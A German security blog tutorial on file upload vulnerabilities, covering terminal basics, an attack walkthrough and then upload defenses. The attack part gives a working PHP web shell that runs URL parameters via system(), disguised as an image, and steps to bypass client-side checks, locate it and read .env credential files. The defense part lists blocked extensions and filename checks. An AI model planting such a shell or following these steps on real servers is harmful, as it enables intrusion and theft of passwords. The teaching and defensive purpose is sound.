Diese Webseite nutzt nur technisch notwendige Cookies.

File Upload Vulnerability – Zugriff auf Server mit Bypass

Datei Upload Malware Steffen Lippke Hacking Series

Was ist eine File Upload Vulnerability?

Kriminelle können Schadsoftware bauen, welche Deine Webseite kapern, wenn der Kriminelle diese hochlädt.

Dieser Beitrag erklärt Dir, wie das geht!

Starten wir!

Dateiuploads – notwendig und gefährlich

Viele Webseiten nutzen Kontakt Formulare, um mit ihren Kunden zu interagieren. Für Garantiefälle sollen die Kunden ein paar Bilder der defekten Produkte zusenden oder die passenden Unterlagen für ein Angebot hochladen. Für viele Webseitenbetreiber ist die Möglichkeit eines Dateiuploads essenziell.

Harmlos oder Einfallstor?
Harmlos oder Einfallstor?

Auf der anderen Seite ist eine Dateiupload ein beliebtes Tor für Kriminelle. Die Upload-Funktionen können die Angreifer dafür missbrauchen andere Dateien hochzuladen (als was sich der Webseitenbetreiber wünscht). Die Malware (Schadsoftware) soll Daten stehlen, löschen oder ändern. Sie wollen dem Unternehmen Schaden zu fügen, Kontrolle über den Server erlangen oder sich im Netzwerk des Unternehmens sesshaft machen (Backdoor).

Wie funktioniert die Malware?

Um zu verstehen, wie eine File Upload Vulnerability funktioniert, brauchen wir im ersten Schritt ein paar Grundlagen im Linux Terminal.

Die Terminals sind die Vorgänger der grafischen Nutzeroberflächen mit Buttons, Eingabefeldern, Bilder und Animationen. Viele Computernutzer bekommen Terminal in 2024 nicht mehr zu Gesicht. Trotzdem könntest Du fast alles mit dem Terminal (also reine Text-Ein und Ausgabe) an Deinem Computer steuern. Das mächtige Tool kannst Du in Windows (cmd), Linux (bash), macOS (Terminal) oder Android (Temux) nutzen.

Terminal erklärt
Terminal erklärt

Über ein Terminal kann der Programmierer in der Regel mehr Funktionen und Features von Programmen ansprechen. Die Befehle variieren von Programm zu Programm und müssen in der Anleitung (Dokumentation) nachgesehen werden.

Git Bash in 15 Minuten lernen

Die Git Bash https://git-scm.com/downloads ist eine gute Möglichkeit, um mit der Welt der Terminals zu starten. Du kannst die Software für Windows, Linux oder macOS installieren. Diese ist kostenlos. Downloade die exe, klicke Dich durch das Installationsmenü und starte die Git Bash über das Startmenu.

Git Bash
Git Bash

Jetzt siehst Du folgenden Text in dem neuen Fenster:

benuzterName@RechnerName: ~$

Gebe mal „ls“ in die Kommandozeile ein.

benuzterName@RechnerName: ~$ ls

Das ls Kommando gibt die Dateinamen in diesem (HOME-)Verzeichnis aus. Hier sind noch ein paar weitere Befehle, mit dem Du Deinen Computer steuern kannst.

cd Desktop     Wechsle das Verzeichnis zu Desktop
cd .. Gehe einen Ordner „höher“ – dein Benutzer Ordner
javaStart von Programmen nur durch den Namen
./nameProg     Wenn das Programm nicht in diesem Verzeichnis sich befindet, dann navigiert mit cd dort hin
java –r Start eines Programms + ein Argument / Parameter für die Ausführung
Terminal Beispiele

Noch mehr zu Terminal-Befehlen und –nutzung kannst Du unter guide.bash.academy kennenleren.

Zugang über Uplaod zum System verschaffen

Der Datei Upload ist unsere Möglichkeit, ein System (also den Webserver) zu übernehmen. Die folgenden Schritte zeigen Dir, wie das möglich ist:

  • Um Deine Terminal-Befehle an einen Server weiterzugeben, müssen wir, uns eine „Brücke“ bauen. Eine simple PHP-Datei getarnt als ein Bild (.jpg) kann eine Verbindung mit der entfernten Kommandozeile herstellen.
<?php
if(isset($_REQUEST['kommando'])) {
    $commandoline = ($_REQUEST['kommando']);
    system($commandoline);
} else {
    echo "Befehl eingeben!";
}?>
  • Wir schalten im Browser unser JavaScript aus, sodass der Browser nicht Client-seitig die Datei überprüfen kann. Ohne JavaScript umgeben wir die erste Sicherheitsbarriere für den Dateiupload… oder nutzen wir Postman.
  • Dann suchen wir uns einen Datei-Pfad einer ähnlichen Datei heraus. Ich erkläre, das Verfahren an dem Beispiel Profilbilder. Die Profilbilder können die Nutzer in den Foren oder im Chat hochladen
    1. Suche Dir ein Profilbild Deines Benutzers aus
    2. Klicke mit der rechten Maustaste auf das Bild
    3. dann auf Element untersuchen (Firefox)
    4. Kopiere den Link aus dem img-Tag (Attribut: src)
  • Das Ergebnis könnte so aussehen:
    https://tollesforum.de/commons/thumb/profilbild.png
    Unsere „böse“ Datei finden wir wahrscheinlich im gleichen Ordner und geben den gleichen Ordner an.
    https://tollesforum.de/commons/thumb/hack.php
  • Rufe die Datei im Browser auf und füge einen GET-Parameter an die URL ?kommando=
  • Das Kommando locate+.env nennt Dir den Ort zu einer möglich vorhandenen Passwortdatei.
  • Lasse Dir die Inhalte der Datei ausgeben cat /PFAD/ZUR/DATEI.
  • Der Browser zeigt Dir jetzt sensible Daten wie Passwörter und Benutzernamen an.

Schutz gegen File Upload Vulnerability

Dieses Tutorial hat klargestellt, dass der Webseitenbesitzer nicht die Tür für Kriminelle mit einem Upload öffnen sollte. Ein vorsichtiger Programmierer sollte es den Kriminellen schwer machen.

Normale Nutzer sollen weiterhin ihre Dateien hochladen können, während die präperierte Malware unschädlich bleiben soll.

Black- und Whitelisten – Effektiv

Beginnen wir folgende Dateien zu sperren: ".phtml", ".shtml", ".asa", „.php5",".swf", ".xap"".pht", ".cer", ".asax". Beim Upload akzeptiert das Formular diese Dateien nicht.

$file_parts = pathinfo($filename);
switch($file_parts['extension'])
{
case "jpg": // Ist ok
    uploadData();
    break;
case "":  // Dateinamen die mit dem Punkt enden
    exit();
    break;
default: // Wirft den anderen Mist heraus
    exit();
    break;
}

Alle Dateien mit Doppelendung hackeDichArm.php.jpg sollen nicht auf dem Server hochladbar sein. Außerdem denke daran, dass UNIX zwischen Groß- und Kleinschreibung unterscheidet – ein hackeAlles.php ist nicht gleich zusetzen mit hackeAlles.PhP.

Dateinamen gegen File Upload Vulnerability

Ein Regex (Regular expression, dt. Regulärer Ausdruck) kann Dateinamen auf Konformität prüfen. Der reguläre Ausdruck vermeidet ungewünschte Zeichen wie << , %, +, &. Lese dieses Tutorial, um Regex zu lernen, und nutze als Spielweise zum Testen die Webseite regex101.com

var dateinNamenPruefen =(function(){

var regex1=/^[^\\/:\*\?"<>\|]+$/; // darf nicht \ / : * ? " <> |
var regex2=/^\./; // Punkt am anfang verboten
var regex3=/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i; // Blacklisted Dateinamen

return function dateinNamenPruefen (fname){
    return regex1.test(fname)&&!regex2.test(fname)&&! regex3.test(fname);
}
})();
[a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}).

Begrenze die Länge des Dateinamens auf 100 Symbole. Wer braucht schon 100 Zeichen für einen Dateinamen? PHP fängt solche Namen-Würmer ab:
if(strlen($_POST['name']) > 100) { echo "filename to long"; exit; }

Dateigröße limitieren

Begrenze die Dateigröße auf eine Minimal- und Maximalgröße der Datei (0,05 MB bis 10 MB für ein Profilbild). Die bekannten DoS Attacken können solche Limits einschränken – Auf einen PHP Server kann der Webseitenbesitzer das in der php.ini einstellen:

; Maximale Größe der Datei

upload_max_filesize = 40M

; größer oder gleich muss die POST-Anfrage-Größe sein

post_max_size = 40M

Weiter Tipps

  • Verändere den Dateinamen beim Hochladen. Der Server sollte am besten eine Datumsangabe an den Dateinamen anfügen und den ganzen String noch mit MD5 hashen. So können Hacker ihre Datei nicht so einfach wiederfinden.
  • Scanne die Datei mit einem Antivirus
  • Verhindere die Ausführung von Kommandos durch PHP oder Java.

Kommentare 2

  • Cool nur ich verstehe nur nicht was ich dann hinschreiben soll.

    • Für Dateien lohnt sich z.B. die VirusTotal API, die die Dateien vor dem Upload überprüft.Für Texte kannst Du z. B:

      $sth = $dbh->prepare('SELECT * FROM `userstable` WHERE `first_name` LIKE :anykeyword');
      $sth->bindParam(':anykeyword', $keyword, PDO::PARAM_STR);

      … nutzen.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert


Jetzt
Abbonnieren

Erhalte Free
Security Kurs

Jeden Monat teile ich mit Mitgliedern
4 neue praxisnahe Tutorials (je 1000+ Wörter).


Trage Deine Mail, damit Du
Deine Coding + Hacking Skills erweitern kannst!